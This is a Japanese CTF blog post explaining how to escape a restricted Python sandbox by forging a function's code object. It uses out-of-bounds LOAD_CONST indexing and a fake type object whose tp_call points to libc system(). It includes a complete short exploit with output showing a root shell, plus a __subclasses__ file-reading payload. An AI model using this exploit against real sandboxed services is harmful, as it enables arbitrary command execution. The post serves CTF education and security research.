# pythonの関数オブジェクトをいじる話 ###### tags: `ctf` `pwn` `python` `sandbox` # 概要 この記事は,[CTF Advent Calendar 2019](https://adventar.org/calendars/4241) の5日目の記事です. 4日目は私の「[Google CTF 2019 Finals - sbox Write-up](https://hackmd.io/@bata24/SJEDPh-pr)」でした. # はじめに 今回は,過去いくつかの大会で出題された,pythonのサンドボックス問を取り上げます. 但し特定の問題を対象にするのではなく,技術的側面だけをご紹介しようと思います. どうしても何かの問題と絡めたい,という方は,`Plaid CTF 2014 - __nightmares__`,`0CTF 2017 Final - Python`あたりが相性良いはずです. # pythonのサンドボックス問について CTFでは,python2系,3系を用いた,サンドボックス問が出ることがあります. - importができないよう制限 - モジュールやオブジェクトが全てdeleteされる といった状況でシェルを開けるかという問題です. 解法は, - `().__class__.__bases__[0].__subclasses__()[-30]('key').read()`のようにグローバルに使えるクラスからリフレクションを用いて`open()`/`read()`を探す - python本体がstaticビルドされていない場合,`/proc/self/mem`を開いて目的の箇所まで`seek()`し,メモリを差し替える(GOTやコード自身など) といった方法が知られていますが,もう一つあります.それが,関数オブジェクトを直接書き換える方法です. # 関数オブジェクトの書き換え 最初にコードをお見せしたほうがわかりやすいと思うので,貼ります. 以下のコードは,最初に3つimportをしていますが,いずれも削除可能です. - `opcode`は,pythonのVMのバイトコードをわかりやすくするためのものなので,固定値で置換すれば削除可能です. - `sys`はpython2系か3系かを判定するためだけですから,本質的には削除可能です. - `struct`は単にpack用途なので,for文とchrもしくはbytesを用いて代替することで削除可能です. {%gist tohsaka/f1a779a0534b0f0ac87cd40e4265153e %} Ubuntu18.04向けにアドレスはチューニングしてありますが,実行するとシェルが立ち上がります. 他の環境で試したい方は,`leak`のアドレスから`libc_system`のアドレスが割り出せるよう,デバッガ配下で確認しながらオフセットを修正してみてください. # PythonのVMについて Pythonは,内部的に独自のVMバイトコードを解釈しながら動作しています. https://docs.python.org/ja/3/library/dis.html そしてVMのバイトコードでは,`CALL_FUNCTION`命令が来ると,最終的に`_PyObject_Call()`が呼ばれ,以下のように関数ポインタが呼ばれます. ![](https://i.imgur.com/BvjCzRl.png) https://github.com/python/cpython/blob/master/Objects/call.c#L266 この関数ポインタは,pythonのVMのスタックに置かれたオブジェクトを辿って参照されるため,pythonのVMのスタックにおかれたオブジェクトを偽造すれば,制御を奪えることになります. # VMのスタックに積む PythonのVMではスタックにオブジェクトを積む方法がいくつかあります.例えば変数を積むには`LOAD_GLOBAL`や`LOAD_FAST`,固定値を積むのは`LOAD_CONST`です. 正確にはオブジェクトそのものを積むのではなく,`Names`配列,`Variable Names`配列,`Constants`配列に存在するオブジェクトのオフセットを積むことで対応しています. 以下を見てください.固定値`"hello world"`を積むには,Constantsの2番目を指定していることが分かります. ``` root@Ubuntu1804-64:/tmp# cat test.py import dis b = 10 def f(): a = 3 print(a) print(b) print("hello world") dis.dis(f) dis.show_code(f) root@Ubuntu1804-64:/tmp# python3 test.py 5 0 LOAD_CONST 1 (3) 2 STORE_FAST 0 (a) 6 4 LOAD_GLOBAL 0 (print) 6 LOAD_FAST 0 (a) 8 CALL_FUNCTION 1 10 POP_TOP 7 12 LOAD_GLOBAL 0 (print) 14 LOAD_GLOBAL 1 (b) 16 CALL_FUNCTION 1 18 POP_TOP 8 20 LOAD_GLOBAL 0 (print) 22 LOAD_CONST 2 ('hello world') 24 CALL_FUNCTION 1 26 POP_TOP 28 LOAD_CONST 0 (None) 30 RETURN_VALUE Name: f Filename: test.py Argument count: 0 Kw-only arguments: 0 Number of locals: 1 Stack size: 2 Flags: OPTIMIZED, NEWLOCALS, NOFREE Constants: // 固定値の配列 0: None 1: 3 2: 'hello world' Names: // グローバル変数の配列 0: print 1: b Variable names: // ローカル変数の配列 0: a root@Ubuntu1804-64:/tmp# ``` 実際のメモリ内においては,これらはオブジェクトのアドレスだけが入った配列です.つまり64bit環境では,1要素が8バイトとなります. 言語仕様的にどうかと思うのですが,実はこれら配列に対する境界値チェックはありません(少なくとも3.6.9の時点では).このため,配列を超えた位置を指すことが可能です.例えば`LOAD_CONST 100`というVMのバイトコードを仕込むことができたとしましょう.この時実際には存在しない`Constants[100]`にオブジェクトのアドレスがあるものと思いこんで参照する,ということです. # オブジェクトの偽造 もしヒープ上に偽造したオブジェクトを配置しておいて,`LOAD_CONST <偽造オブジェクトまでのオフセット>`とすればどうでしょうか.実際これは指定することができて,偽造オブジェクトを参照して`callable->ob_type->tp_call`が呼ばれます. では,ヒープ中に`callable`を偽造しましょう.辿られるのは以下のメンバであるため,これさえ正しければ大丈夫です. ![](https://i.imgur.com/yBob3tI.png) まず`callable`は`PyObject`です(`_PyObject_Call()`の引数の型からわかる).`_PyObject_HEAD_EXTRA`は`#define`で消されるので無視しましょう. ![](https://i.imgur.com/NwxHNbm.png) https://github.com/python/cpython/blob/master/Include/object.h#L104 `ob_type`は`struct _typeobject*`型ですが,これは`cpython/object.h`にあります. ![](https://i.imgur.com/F0A3dud.png) https://github.com/python/cpython/blob/master/Include/object.h#L175 `tp_call`は以下の箇所にあります.オフセットはpython3だと`128`でした. ![](https://i.imgur.com/eh9DbR7.png) https://github.com/python/cpython/blob/master/Include/cpython/object.h#L201 ということで,偽造は以下でできるはずです.尚`0x20`を足しているのは,`id()`では`0x20`だけ若いアドレスが手に入るからです.ついでに,Constants配列からのオフセットも計算しておきましょう. ```python # 呼び出し対象のアドレスを仕込んだ,偽造オブジェクトを生成 fake_data = b'A' * 128 + pQ(libc_system) # _typeobject fake_object = b"1; sh;# " + pQ(get_addr(fake_data) + 0x20) # PyObject ptr_fake_object = b"AAAAAAAA" + pQ(get_addr(fake_object) + 0x20) # PyObjectのポインタ # const_tuple~偽造オブジェクト間のオフセットを計算 offset = get_addr(ptr_fake_object) - get_addr(const_tuple) + 0x10 offset = int(offset / 8) % (1<<32) ``` 尚,python2だとオフセット等が色々異なるものの,多少の修正で同じことができます. # VMコードの偽造 VMコードでは,`LOAD_CONST <offset>`の後`CALL_FUNCTION`を呼べばOKです. 但しPython3では全てのVM命令が2バイトの固定長になっています.つまり`LOAD_CONST`の命令自体で1バイト使っているため,オペランドは1バイトとなり,大きな値をPUSHすることはできません.これを解決するのが`EXTENDED_ARG`です. ![](https://i.imgur.com/jZdfJCV.png) https://github.com/python/cpython/blob/master/Python/ceval.c#L3522 3回使えば大きな値を作り出すことができます. ``` # オフセットの呼び出しを行うバイトコードを生成 bytecode = bytes([ opcode.opmap['EXTENDED_ARG'], (offset >> 24) & 0xff, opcode.opmap['EXTENDED_ARG'], (offset >> 16) & 0xff, opcode.opmap['EXTENDED_ARG'], (offset >> 8) & 0xff, opcode.opmap['LOAD_CONST'], (offset >> 0) & 0xff, opcode.opmap['CALL_FUNCTION'], 0, ]) ``` 尚,python2ではVM命令が可変長で,`LOAD_CONST`のオペランドは2バイトなので,一度に0xffffまで指定できます.従ってもう少し短くできます. # Exploit 後は最初に書いたexploitを最適化し,いらないコードを削りましょう. `import`や依存関係が一切不要な状態で,シェルが立ち上がります. ``` root@Ubuntu1804-64:/tmp# cat test.py p=lambda x:bytes((x>>(i*8))&255 for i in range(8)) a=b"A"*128+p(id("")-0x580670) b=b"sh; "*2+p(id(a)+32) c=b"A"*8+p(id(b)+32) d=() o=(id(c)-id(d)+16)//8 f=bytes([144,(o>>24)&255,144,(o>>16)&255,144,(o>>8)&255,100,o&255,131]) p.__code__=p.__code__.__class__(0,0,0,0,0,f,d,d,d,"","",0,a) p() root@Ubuntu1804-64:/tmp# python3 test.py sh: 1: 3: not found # id uid=0(root) gid=0(root) groups=0(root) # Segmentation fault (core dumped) root@Ubuntu1804-64:/tmp# ``` # 終わりに 実は,過去問として,python2ではこの方法を以前やったことが有りました. しかしpython3でもできるか?という疑問が生じたので,確認してみた次第です.結果はご覧の通り,できるということになりました. 皆さんもぜひpythonをハックしてみましょう. 明日はhakatashiの[CTFZone 非Writeup](https://hackmd.io/@hakatashi/SJnvjTQUH)です.